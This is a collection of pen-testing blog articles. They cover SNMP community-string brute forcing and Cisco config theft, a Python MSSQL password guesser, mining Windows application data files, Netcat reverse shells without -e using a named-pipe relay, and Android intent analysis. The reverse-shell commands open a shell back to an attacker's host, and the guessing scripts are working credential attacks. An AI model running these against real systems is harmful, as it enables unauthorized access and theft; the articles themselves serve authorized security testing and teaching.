Invasion of the Network Snatchers: Part I

[Editor’s Note: In this article, Tim Medin discusses methods for penetration testing network infrastructure components, specifically through the Simple Network Management Protocol (SNMP).  Tim’s tips below include a nice overview of SNMP, techniques for formulating highly useful lists of potential authentication credentials for SNMP, a description of how to use an Nmap NSE script for password-guessing SNMP, ideas for using snmpwalk to extract config info, and a description of a Metasploit module for harvesting SNMP info from a bunch of devices.  He’s got some great command-line kung fu throughout as well.  It’s a cornucopia of useful ideas.  These techniques can be really helpful in showing security risks in a target organization’s network infrastructure.  Thanks, Tim! –Ed.]

By Tim Medin

Part of one of Sun Tzu’s (overly used) quotes is, “Water shapes its course according to the nature of the ground over which it flows…”.  I often hear people say, “blah blah blah be like the water”.  Being flexible like water is great (although it’s kinda wishy washy and you’d be all wet).  But, wouldn’t it be better if we could become the ground and control all of the water and where it goes? That is what I like to do on penetration tests by targeting the network equipment.

Often times, the network topology and traffic flow is seen as an unmovable riverbed. It doesn’t really change and takes some sort of special unspoken power to change. Traffic goes from A through B to get to C where it goes through a firewall and an IPS. How much more fun would it be to skip the lines and jump right on the network next to your target, bypassing all of the security controls?

To do this, we first need access to the networking gear. In larger organizations, authentication to the network devices is often controlled by TACACS or Radius, which are used to centrally manage and log authentication. This approach allows network admins to login to their gear using a domain account (often the same domain account they use to check their email, but I digress). There are plenty of ways pen testers can attack these accounts, so we’ll move on to another vector, attacking the Simple Network Management Protocol (SNMP).

Pretty much all networking gear can be managed and monitored via SNMP. Fortunately for us, this service is often not as thoroughly hardened as the normal TCP services (SSH, HTTP(S), and Telnet). It usually isn’t logged and doesn’t offer any sort of lockout mechanism. It also has some glaring security shortcomings. All things that are good for penetration testers.

SNMP comes in 3 versions: 1, 2c, and 3. Version 1 and 2c are identical from a security point of view. They only validate authenticate via a community string (think password without a username) and they don’t offer encryption or message integrity. Version 3 fixes these problems and implements mechanisms to protect the confidentiality and integrity of the transmission.

It is going to be much easier to guess the credentials of services using v1 and v2c, since v3 requires a username and a community string and v1/2c does not. Let’s get ready to brute force password guess our buddies SNMP v1 and v2c!

Before we can brute, we first need a good list of targets that speak SNMP.  Our handy-dandy friend, Nmap, can take care of finding those as follows:

$ sudo nmap -PN -sU -p 161 -iL targets.txt -oA output

This nmap command will probe a list of targets (-iL) from the file targets.txt using UDP (-sU) port 161, the SNMP port, and save the output in all three nmap formats (-oA) into files with a basename of output, including output.nmap, output.gnmap, and output.xml. For speed and efficiency, the host discovery checks (-PN) are disabled as we only want to send a single packet on port 161. One important thing to note: this scan takes advantage of the differences in SNMPv3 to get a response (without authentication) and it will miss devices that only speak v2c or v1. Technically, we end up with a list of devices that speak SNMPv3, but often devices running SNMPv3 also support v2c (and even v1).  So, in many organizations, this list of SNMPv3 systems will be useful for v2c and v1 community string brute force guessing.

Now let’s get a list of devices that are running SNMP by grep’ing through nmap’s grepable output.

$ grep '161/open/' output.gnmap | cut -d' ' -f 2 > snmpdevices.txt

Here, we are looking for the string indicating that port 161 is open from our output.gnmap file.  We’re piping that through the cut command to look through our space-delimited output (-d’ ‘), extracting the second field (-f 2), which will hold the IP addresses of our potential targets.  We store our results in a file very cleverly named snmpdevices.txt.

Next, we need to try to guess the v1/v2c community strings used to authenticate to these devices. There are usually two types of community strings: read-write and read-only. Admins will often differentiate the community type string by appending the access level to it (e.g., sometext-read/sometext-write, sometext-public/sometext-private). Let’s create a list of basewords and suffixes and then combine them.

$ cat << EOF > basewords.txt

$ cat << EOF > suffixes.txt

Now that we have the basewords and suffixes we can combine them to create a mashup wordlist.
$ for GUESS in `cat basewords.txt`; do for SUFFIX in `cat suffixes.txt`; do echo $GUESS$SUFFIX; echo $GUESS-$SUFFIX; done; done > combo-clean.txt

$ head -n 5 combo-clean.txt

Admins often use l337sp34k to make the strings harder to guess. So let’s l33tify the guesses. John the Ripper has some nice mangling features, so let’s take advantage of them.

The people over at KoreLogic have developed some fantastic mangling rules for John the Ripper. Using the rules is quite simple.  Just download the rules and then append them to your john.conf (instructions are included on their site). Once the rules are installed, we can use them to mangle our existing guessing with l33t combinations.

$ john –wordlist:combo-clean.txt –rules:KoreLogicRulesL33t –stdout > combo-l33t.txt

We should also download a list of default community strings. Just because admins are leet, doesn’t mean they don’t miss things. Default passwords and community strings are tremendously useful. We’ll take the list of the combinations, l33t combinations, and the default strings to make a bigger dictionary. We’ll then remove any duplicates and anything longer than 20 characters.

$ cat wordlist-common-snmp-community-strings.txt combo-clean.txt combo-l33t.txt | sort -u | grep -vE ‘.{21,}’ > completeguesses.txt

Ok, so we’ve got a good list. Now we need to use it — Nmap to the rescue (again)! The snmp-brute NSE script is great for guessing community strings. There are other tools that do it, but I greatly prefer nmap.

$ nmap -sU –script snmp-brute –script-args snmp-brute.communitiesdb=completeguesses.txt
Nmap scan report for
161/udp open snmp
| snmp-brute:
|_ C0mpanyNam3-RW – Valid credentials

Winner! Winner! Chicken Dinner!

We have a target and a working community string. It is highly likely that this is a read-write string based on its name (C0mpanyNam3-RW). Now, we need to extract some useful data from the device.

For those of you unfamiliar with SNMP, all the data and configuration settings in a device are located in a hierarchal tree. Each location on that tree is identified by an OID (Object Identifier). You can do a little searching and find names that are associated with each node [e.g. Iso(1).org(3).dod(6).internet(1)… ], but I don’t use it enough to really care. All I really need is the root location of When I need something else, I google for it or grep through the results of a full dump. A full dump can be extracted using the snmpwalk tool (BTW, this technique is VERY useful against printers for extracting usernames, computer names, and document names).

$ snmpwalk -c C0mpanyNam3-RW -v 2c > ciscosnmpdump.txt

Before we dig too much into this file, let’s figure out what this device is. We’ll use SNMP to query the SysDescr (OID and get some details on the device.

$ snmpget -c C0mpanyNam3-RW -v 2c
Cisco Internetwork Operating System Software IOS ™ 2500…

Oh, this is even better. We can dump the configuration file from a Cisco device using SNMP and a TFTP server. It’s even easier since Metasploit has a module to do this!

Admins commonly use the same community string across all network devices. So once we get a community string that works on one device, we can likely use it against all the networking devices. The RHOSTS option (notice it is plural) accepts multiple targets. It will even accept a file.

msf> auxiliary/scanner/snmp/cisco_config_tftp
msf auxiliary(cisco_config_tftp)> set LHOST
msf auxiliary(cisco_config_tftp)> set OUTPUTDIR /tmp/
msf auxiliary(cisco_config_tftp)> set RHOSTS file:/tmp/snmpdevices.txt
msf auxiliary(cisco_config_tftp)> set COMMUNITY C0mpanyNam3-RW
msf auxiliary(cisco_config_tftp)> run

After this runs, we’ll have a bunch of configurations files saved in our /tmp directory.

What can we do once we have a pile of Cisco configuration files? You’ll have to check back for the next installment because this is where things get really crazy!

–Tim Medin
Counter Hack


TDS, MSSQL, and Python… Oh My!

[Editor’s Note: Mark Baggett has been writing some awesome articles for this blog lately about how to use Python modules for all kinds of powerful penetration testing activities.  This article is no exception — in it, Mark details how to use the Impacket suite from Core Security to interact with Microsoft SQLServer databases.  The article culminates with Mark creating a password guessing tool to go after the database… and the best part is that the conceptual model of his tool can be adapted to any kind of authenticating module you might have for Python.  Nice work, Mark!  –Ed.]

By Mark Baggett

Well, Alberto Solino and the good folks over at Core Security have released another update to the Python Impacket Module.  The new update resolves an installation issue and makes the sample scripts even easier to use.  To install it, simply download the latest tar ball from here:

Extract the contents using the command “tar -zxf impacket-0.9.10.tar.gx”.  Then “cd” into the new impacket-0.9.10 directory and run “python install”.  WARNING: At this point, it is essential to prepare for a rocking good time.

The installer script places the sample scripts including and in your path in the /usr/local/bin directory.  If you had any trouble getting some of my previous posts on the Impacket module working, you can find those posts here and try them again using this fantastic version update:

This Impacket code update includes several improvements, one of which is the tds module, named after the Tabular Data Stream protocol used to access databases.  In particular, the tds module is used to interface with Microsoft SQL servers, for fun, mayhem, and pwnage.  The update also includes a tool called to demonstrate the power of the tds module.  The python script “” will give you a SQL shell on a target, provided that you have some way of authenticating to the host.  Oh, the chocolatey goodness.

The script supports SQL authentication and NT authentication with either a password or the password hash (you gotta love pass-the-hash attacks).  In other words, if you need to pass the hash to a SQL database, this tool will do that for you.  Alternatively, if I know the password and want to login to my SQL server at with a username of “sa” and a password of “password”,  I can type the following:

At the SQL> prompt, I can issue valid SQL statements and see the results.  Very cool!    But this is a python module, so I can import all this functionality into my own scripts and quickly use all the capabilities of the tds module. For example, an import and a for loop is all that is needed to take this module and turn it into a password guessing utility.  I’ll show you how, not only for this specific technique, but also to indicate how we can change any authenticating tool into something that can do password guessing, all via the magic of Python!

Logging into a SQL database requires 3 steps:

1) Create a new TDS Microsoft SQL object.

The tds.MSSQL() method takes two parameters.  The first parameter is a string containing an IP address and the second parameter is the port for the SQL server.  Here we connect to the server at the IP “” and the default SQL port of 1433:

tdsobject=tds.MSSQL(“”, 1433)

2) Call the TDS object’s “connect()” method.

Next we call the tdsobjects connect() method.  This parameter doesn’t require any parameters so you can just call “tdsobject.connect()”.

3) Call the TDS object’s “login()” method.

Finally, you call the .login method.  The .login method will accept several parameters.  To look at the complete list of parameters, we can use the simply lovely Python introspection feature (where Python teaches you how to use its modules) and type “help(tdsobject.login)”.  The following screen appears:

Each of the options with an equals sign after it has a default value.  They are “optional” parameters that don’t have to be passed if you are happy with that default.  The “self” parameter also doesn’t have to be included.  It is automatically included by Python any time you execute a class method.   To call the login method, you simply have to supply a database name and a username.  We want to try several passwords in a list, so we will include the third parameter (password) as well.  If your username and password are correct, the login method will return “True”.  If you fail to login successfully, it will return “False”.  If the login fails, we can see why by calling the printReplies() method.

Now, lets put all this together and write a simple MSSQL password guesser.  We can wrap our call to .login() in a for loop that tries every password in the john the ripper password list (handily called “password.lst”, containing a little more than 3,000 passwords), like so:

Here is a sample run of the program.

Here is the script itself:

from impacket import tds
import sys

tdsobject=tds.MSSQL("", 1433)

for pw in passwords:
    done=tdsobject.login("master",targetuser, pw.strip())
    if done:
        print "password is ",pw
        print tdsobject.printReplies()

The nicest thing about the script above is its reusability.  Whenever you have an authentication capability supported by a Python object, you can use the base concepts and structure above to turn it into a password-guessing tool!  I’m sure our readers will find all kinds of great use cases for this.  If you have some nifty ideas, please feel free to share in the comments below.

Would you like more information about how you can create your own Python powered penetration testing tools?  Join me for my brand-new SANS class, SEC573 Python for Penetration Testers.

Thank you!

–Mark Baggett

Follow me on twitter @MarkBaggett



Part 2: Quick and Useful Tricks for Analyzing Binaries for Pen Testers

[Editor’s Note: In his previous blog post, Yori Kvitchko provided a bunch of tips penetration testers could use to analyze binary files, focusing on network communications.  This time around, Yori looks at application data files, a hugely important source of information that could include passwords, hashes, or other sensitive stuff leaking out of an application.  The techniques Yori describes here are some important building blocks for all pen testers to apply to the applications we analyze.  –Ed.]

by Yori Kvitchko

This blog post is the second in a series of three blog posts dedicated to quick and useful techniques for analyzing binaries. In my first post, I talked about how penetration testers and other analysts can find and isolate network traffic generated by a binary. This time we’ll look at pillaging the various data files that binaries and applications leave lying around. Our focus will again be on the Windows side of things, as that’s where we often find the juiciest applications to analyze, including client-side software and internal tools.

In Windows, application data files are often placed in the AppData folder. This folder, specific to each user, can be a gold mine of information about installed applications. Located in each users’ home directory, AppData (Application Data on Windows XP) can be accessed using the %AppData% environment variable, as in “dir /a %AppData%” (I put in the /a after the dir command to show folders with any combination of attributes; sometimes items in the AppData directory have a hidden attribute, so we want to see all them with dir /a).

Here are some useful files to keep an eye out for:

  • History, Cache and Temporary Files – The prime example here is anything related to a web browser. Many applications take advantage of Internet Explorer for browser windows inside of the application, so IE cache and temporary files can prove insightful about the activities of the user and may hold sensitive, leaked information.
  • Configuration Files – Anything from IP addresses to passwords might turn up here.
  • Saved Data Files – If the application in question has a saved data file format, these saved data files can often contain useful information in the data as well as the meta-data.

To analyze these application files, as well as any files found in the application’s main directory, we can employ a number of different techniques. First and foremost, our good friend, the strings command, proves to be just as useful in analyzing data files as it is on binary files. Be on the lookout for the same type of data we talked about in the first blog post, URLs and IP addresses especially.  Strings is freely downloadable for Windows from Microsoft Sysinternals.  It’s also worthwhile noting that the Sysinternals strings looks for both ASCII and Unicode strings by default, returning sequences of three characters or more in length.

Once we have some files on our hands, and we’ve done some cursory analysis with strings, we’ve likely either encountered a cleartext ASCII file (XML is especially common!) or we have a binary data file on our hands. If that’s the case, we have two easy-to-use sources of information to help us identify the type of file. The file extension itself (such as .asc, .xml, or .docx) and the Linux “file” command. The file command can also be downloaded for Windows from GnuWin32.  We can use it as follows:

$ file data.ext

data.ext; gzip compressed data, from Unix, last modified: Mon Mar 11 14:35:58 2013

Let’s take a look at some of the more common data file formats we run into and how to extract data from them.

zip/tar/gzip – Decompress with the zip program of your choice. These files usually contain another data file inside. Many data formats are actually zip files in disguise. It’s always worth trying to rename a file to “.zip” and try to unzip it just to check.
plist – Property list files used by Mac OS X and iOS. These files are especially useful when analyzing a mobile app.  You can use a tool like plist Editor  ( to view the contents of the file.
sqlite – Sqlite databases are sometimes used for local data storage (as in Firefox and many mobile applications). Use SQLiteSpy ( or the Linux tool sqlite3 to view the contents of the database.
swf – Not exactly a data file format, but swftools ( does a great job of extracting images, sound, video, and even source code from SWF Flash files.
General Metadata – For general metadata, not specific to any file type, use ExifTool ( to see all metadata attached to a file. Images and documents are especially good sources for valuable metadata.
File System Images – Although not strictly a data file created by applications, we as security practitioners often have the need to work with file system images and some developers can occasionally get pretty crafty. Check out AccessData’s FTK Imager ( for mounting all manner of file systems.

If the file format isn’t in the above list, Google is a great resource for finding tools to analyze specific file types. If all else fails, see if a local installation of the application that created the file can be used to read it and extract its data. A great example of this would be copying a Firefox profile locally and importing into a local Firefox installation to view cookies and history.

In our next (and last) installment of this blog post series, we will look at some simple techniques for decompiling executables and DLLs to give us that last bit of insight we might need. After all, what could be more juicy when analyzing a binary than being able to peer right at the source?  Until then… signing off —

–Yori Kvitchko
Counter Hack

Netcat without -e? No Problem!

by Ed Skoudis

Many pen testers know how to create a reverse backdoor shell with Netcat.  But, what do you do if you have a Netcat that doesn’t support the -e or -c options to run a shell?  And, what if your target doesn’t support /dev/tcp?  In this article, I’ll show you a nifty little work-around using some command-line kung fu with shell redirects.


Netcat is fantastic little tool included on most Linuxes and available for Windows as well.  You can use Netcat (or its cousin, Ncat from the Nmap project) to create a reverse shell as follows:

First, on your own pen test machine, you create a Netcat listener waiting for the inbound shell from the target machine:

skodo@pentestbox# nc -nvlp 443

Here, I’m telling Netcat (nc) to not resolve names (-n), to be verbose printing out when a connection occurs (-v), to listen (-l) on a given local port (-p).  For some versions of Netcat, you leave the -p off of the listener invocation.  Note that you need root-level privileges to listen on a port less than 1024.  I’m using 443 here because it is more likely to be allowed outbound from my target environment to get back to my pentestbox Netcat listener, and is less likely to get noticed.  Some organizations assume all TCP 443 traffic to be HTTPS, and therefore don’t bother inspecting that traffic because they expect it to be encrypted.  That’s a bad assumption on their part.

Then, on the target machine, get the following command to execute (perhaps via command injection in a web app or some other attack technique):

victim$ nc pentestbox 443 -e /bin/bash

This command invokes a Netcat client on the victim, which connects to the attacker’s pentestbox on TCP port 443.  The Netcat client then executes /bin/bash (-e /bin/bash) on the victim, connecting that shell’s Standard Input and Standard Output to the network (that’s what Netcat’s -e option does… the -c option on some versions of Netcat is similar, except instead of executing just a single program, with no options, to connect, it executes a command which could have various parameters).

Then, on the pentestbox machine, we’ll see the inbound connection, which we can type commands into as follows (typed commands in bold):

skodo@pentestbox# nc -nvlp 443
listening on [any] 443 ...
connect to [AttackerIPaddress] from (UNKNOWN) [VictimIPaddress]

But, What If You Don’t Have -e Support?

OK.  That’s all well and good… pretty standard fare for pen testers.  But, what if you have a version of Netcat that doesn’t support the -e option?  In the traditional Netcat, if the well-named GAPING_SECURITY_HOLE option isn’t defined in the Netcat source when it is compiled, your resulting Netcat executable won’t support -e.  Is all hope lost? Not at all.  Years ago, I demonstrated how you could use /dev/tcp to implement a Netcat-like backdoor, without using Netcat at all.  You can see it in my presentation called “Netcat without Netcat” here (slide 17 talks about the technique).

But, to use that technique, you need to have a bash that supports /dev/tcp.  What if the target Linux is a Debian variant, which typically has a bash compiled without /dev/tcp support?  Or, worse yet, what if the target system doesn’t even have bash!  Some stripped down Linuxes rely on other shells, such as plain old sh or ash.  Shudder.  Wow… sucks to be you.  You’ve got a target Linux, but without a /dev/tcp and without a -e option in Netcat.  Should you just give up?  Nope.

I have, near my house, a magical Olive Garden.  In this restaurant, I get all kinds of crazy ideas, often sitting at the bar awaiting my family to join me for dinner.*  I was once sitting there, contemplating a penetration test I was working on, when suddenly it hit me: I can make something that works like Netcat with -e, even without a -e, by leveraging my shell.

In effect, I was going to implement a traditional Netcat relay (which I described in detail, along with a bunch of other crazy Netcat relays, on the Pauldotcom podcast episode 195 here), but instead of relaying from a Netcat listener to a Netcat client, I can relay from a shell to a Netcat client.  Check it out:

As before, we start with a Netcat listener waiting for the inbound shell:

skodo@pentestbox# nc -nvlp 443

Now, on the target machine, I inject the following commands:

victim$ mknod /tmp/backpipe p 
victim$ /bin/sh 0</tmp/backpipe | nc pentestbox 443 1>/tmp/backpipe

Here, I’ve first made a named pipe (also called a FIFO) called backpipe using the mknod command.  The mknod command lets me create things in the file system, and here I’m creating something called “backpipe” that is of type “p”, which is a named pipe.  Alternatively, we could have used the mkfifo command available on some Linuxes and Unix variants, leaving off the p option.  This FIFO will be used to shuttle data back to our shell’s input.  I created my backpipe in /tmp because pretty much any account is allowed to write there.

Then, I invoke my shell (/bin/sh), the most common shell available on all kinds of Linuxes and Unixes, pulling its Standard Input from the backpipe (0</tmp/backpipe).  I pipe the output of /bin/sh (|) to my Netcat client.  That Netcat client connects to the pentestbox on port 443 (nc pentestbox 443).  I then take Netcat’s Standard Output and dump it into the backpipe (1>/tmp/backpipe).  On most shells, you can dispense with the 0< and 1> syntax, but on occasion, I’ve seen some weird shells where it doesn’t work unless you use 0< and 1>.  I always throw them in, just to make sure it’ll work.

On the pentestbox machine, it proceeds pretty much like before:

skodo@pentestbox# nc -nvlp 443
listening on [any] 443 ...
connect to [AttackerIPaddress] from (UNKNOWN) [VictimIPaddress]

But, What If You Have Raw Execution and You’re Not in a Shell?

Now, there’s one more thing to keep in mind.  All of this redirect craziness (0<, |, and 1>) depends on there being a shell in which we’re invoking the whole command on the victim machine.  If you have raw command injection, in which you can execute arbitrary programs on the target machine, but without a shell (sometimes that happens with very vulnerable web apps), you’ll have to modify the command just a bit.  You’ll need to invoke your own shell on the local target box (/bin/sh), which then in turn (using the -c option) invokes the backdoor shell (another /bin/sh) and all the great redirect stuff to invoke Netcat.  Do that by injecting the following command:

/bin/sh -c "/bin/sh 0</tmp/backpipe | nc pentestbox 443 1>/tmp/backpipe"

So, there you have it… a way to make a Netcat behave as though it has a -e or -c option, even though it doesn’t, all by leveraging some wonderful shell redirects.

If you like this kind of thing, I recommend you take my SANS Network Penetration Testing and Ethical Hacking Course (SANS Security 560).

Thanks for reading!

–Ed Skoudis.

SANS Fellow and Pen Test Curriculum Lead
Founder, Counter Hack

* I have found it very helpful to identify a place as “magical” for the purpose of crazy, whimsical, and useful idea formation.  Additionally, it’s nice to have a time of day that you consider especially ripe for ideation.  When there or then, tell yourself that you are now in the zone when ideas will happen, and your brain will be more likely to come up with interesting ideas.  In a cynic’s view, you are tricking yourself to come up with ideas.  Or, from the optimist’s point of view, you are setting the stage for your soul to sour.

The place and time don’t have to line up.  In fact, it’s best if they don’t, as you’ll get more chances for ideas.  For me, the place is that Magical Olive Garden in Eatontown, NJ, which I go to for dinner.  But, the time is dawn, just as the sun is rising, when I’m on my morning walk.  Much magic then!

Upcoming SANS Special Event – 2018 Holiday Hack Challenge


SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more:
  • Play previous versions from free 24/7/365:

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen

Intentional Evil: A Pen Tester’s Overview of Android Intents

[Editor’s Note: Mobile devices, their associated infrastructures, and their juicy juicy apps are a fascinating arena that we pen testers are increasingly called upon to evaluate in target environments.  In this article, Chris Crowley zooms in on a particularly important part of Android permissions known as “intents”, which help control interprocess communication.  Chris describes their features and outlines a process and some tools penetration testers can use to analyze them.  –Ed.]

By Chris Crowley

Great pen testers strive to move through target environments seamlessly, transitioning from one platform to another. With more organizations adopting a “bring your own device” approach to mobile platforms without careful enforcement of security, attackers have new avenues for undermining organizations. Even in those organizations that officially forbid personally owned mobile devices, employees still sometimes connect their own devices to their networks surreptitiously.  Or, they use authorized mobile devices which don’t have property security measures in place.  As pen testers, we need to inspect risk presented by these now ubiquitous devices.  The good news: mobile devices provide plenty of avenues for adventurous pen testers to explore!

Some of the dominant concerns posed by mobile devices are data disclosure from an application inadequately protecting the data it contains, and the mobile device performing some action that costs the user or company money. Pen testers are increasingly called upon to find these issues and contain or help fix them before they cause a problem. (Convincing users and organizations to demand and pay for devices and applications to protect their data would be good, too. But, let’s tackle that problem another day.)

When a user first installs an app on an Android device, they are typically presented with a laundry list of permissions that the app requests: create accounts, call phone numbers, identify the geographic location, modify the contents of local storage… and much, much more.

But this big list of app permissions doesn’t tell the user what parts of those permissions that app is willing to do on behalf of other applications. Did you know that that app could receive requests from other applications to perform an action? In some cases, the action would happen without your approval or interaction, as your little “trusted” app does things on behalf of truly evil apps. Interprocess communication (IPC) is available on Android to make the user’s experience more seamless. In this article, we’ll take a quick look at the functionality and a couple of ways pen testers can inspect applications on Android for unintentional flaws.

Here’s a simple example. You’re browsing a web page on a mobile device. You searched for the best espresso drinks in the area. The web page of an interesting-looking cafe displays an address and phone number. You intend to stay up late working, so you call to make sure they’re still open at 10:00 PM. You click the phone number. Note that your web browser doesn’t make the phone call; instead, it passes that phone number to the telephone application to make the call for you. This is intentional, but not evil… yet.

To make this work, the android platform uses an inter-process communication capability called “intents”, which allow communication between the parts of one application or between different applications. An application’s intent capabilities are enumerated in the manifest of that application. That’s the AndroidManifest.xml file within the Android package file. The package file typically has an apk extension.

You can see the declared permissions and intents in an Android .apk file in a few steps:

  • Download the .apk file, or recover it from the Android device itself, if you’ve rooted the device.
  • Unzip the .apk into a folder using 7-zip or another unzip utility. There’s a manifest file called AndroidManifest.xml that will be among the unzipped files and directories.
  • Use AXMLPrinter2.jar to read the encoded contents of the XML file:
    $ java -jar AXMLPrinter2.jar AndroidManifest.xml

You can review the XML file which includes declarations of permissions and intents. Here’s an example activity with an intent-filter.

Figure 1. Example intent-filter for the LoginActivity

We trust the web browser on our Android devices not to access other apps inappropriately. But this technique allows applications to interact with one another. It is of interest because a seemingly legitimate application could leverage this inter-process communication to access resources in the applications we’ve installed, or the applications that come bundled with the phone when it is purchased.

A proof of concept piece of malware was discussed recently on the Bugtraq mailing list for a subsequently updated version of the Facebook for Android application ( The vulnerable version of the application allowed an attacker to exfiltrate app data from the mobile device, if the user was logged into Facebook at the time of the attack, and had installed the attacker’s malware.

Now, that is some intentional evil. A piece of code that has the best intentions, but not the best intents. The flaw exists because the intent action doesn’t adequately assess the action requested, and would result in data disclosure from the application’s data store, including contacts, and performing actions as the logged on user.

So, as penetration testers, we need to figure out what our installed applications offer to perform on behalf of other apps, in an effort to better understand the security risk of the application and the overall device itself. We could extract all of the AndroidManifest.xml files.  But, the manifest only declares the intent and its associated permissions.  Then, we would need to review the code to figure out the details of the intents offered, a pretty huge undertaking to do manually.

Fortunately, MWR InfoSecurity has released a wonderful tool called Mercury.  It’s a client-server framework, with an agent (the client) installed on the Android device (physical or emulated). The server runs on your Linux or Windows system, providing a bi-directional communication channel for you to enumerate the components of other applications that are available to the agent. IPCs available to explore via Mercury are services, receivers, activities, and content providers, all of which are various aspects of applications that you can analyze, evaluate, and possibly attack.  Activities, for example, are user interface screens for directing action. Once you have Mercury on a device to inspect, you can snoop around to see what intents are available to your Mercury agent. You can also craft action messages to determine if the applications are exposing excessive privilege.

Figure 2. Example of attack surface and intent enumeration

The next step would be to enumerate the expected data for each of the intents and then attempt to craft messages that would request the application to perform an action which might be undesirable, such as accessing data within the application, or having the application send a message. In the application inspected above (a little ditty called “Facebook” for Android 1.8.1), the com.facebook.katana.LoginActivity was the vulnerable intent which allowed the exfiltration of data.

Josh Wright recently released an update to SANS Security 575: Mobile Device Security and Ethical Hacking that includes a new section on Android intents. In the class, we explore the detailed plumbing of the mechanism using the Mercury framework. Mercury provides an insertion point to explore the running android device as an unprivileged application, letting us model the environment where a piece of malware would find itself.

Using the Mercury framework and manual inspection of source code, we can look for intents that accept requests from apps and use this ability to attempt to access data within the application’s data storage or to perform an action under the authority and permission of the application, such as silently sending an SMS message. The exposure of application data via a content provider intent would be a valuable finding in a mobile device pen test.  Furthermore, silently sending SMS messages is a common vector of information leakage and outright theft from within Android based malware.

If you want to have a look for intentional evil yourself, you can download an Android emulator to run on Windows and install Mercury on it. Or, you can install Mercury directly on your Android device itself. Thankfully, Mercury doesn’t even require a rooted Android. You can also take a look at the OWASP  GoatDroid project, which provides FourGoats (a social media app) and Herd Financial (a banking app) for your inspection and analysis.

–Chris Chrowley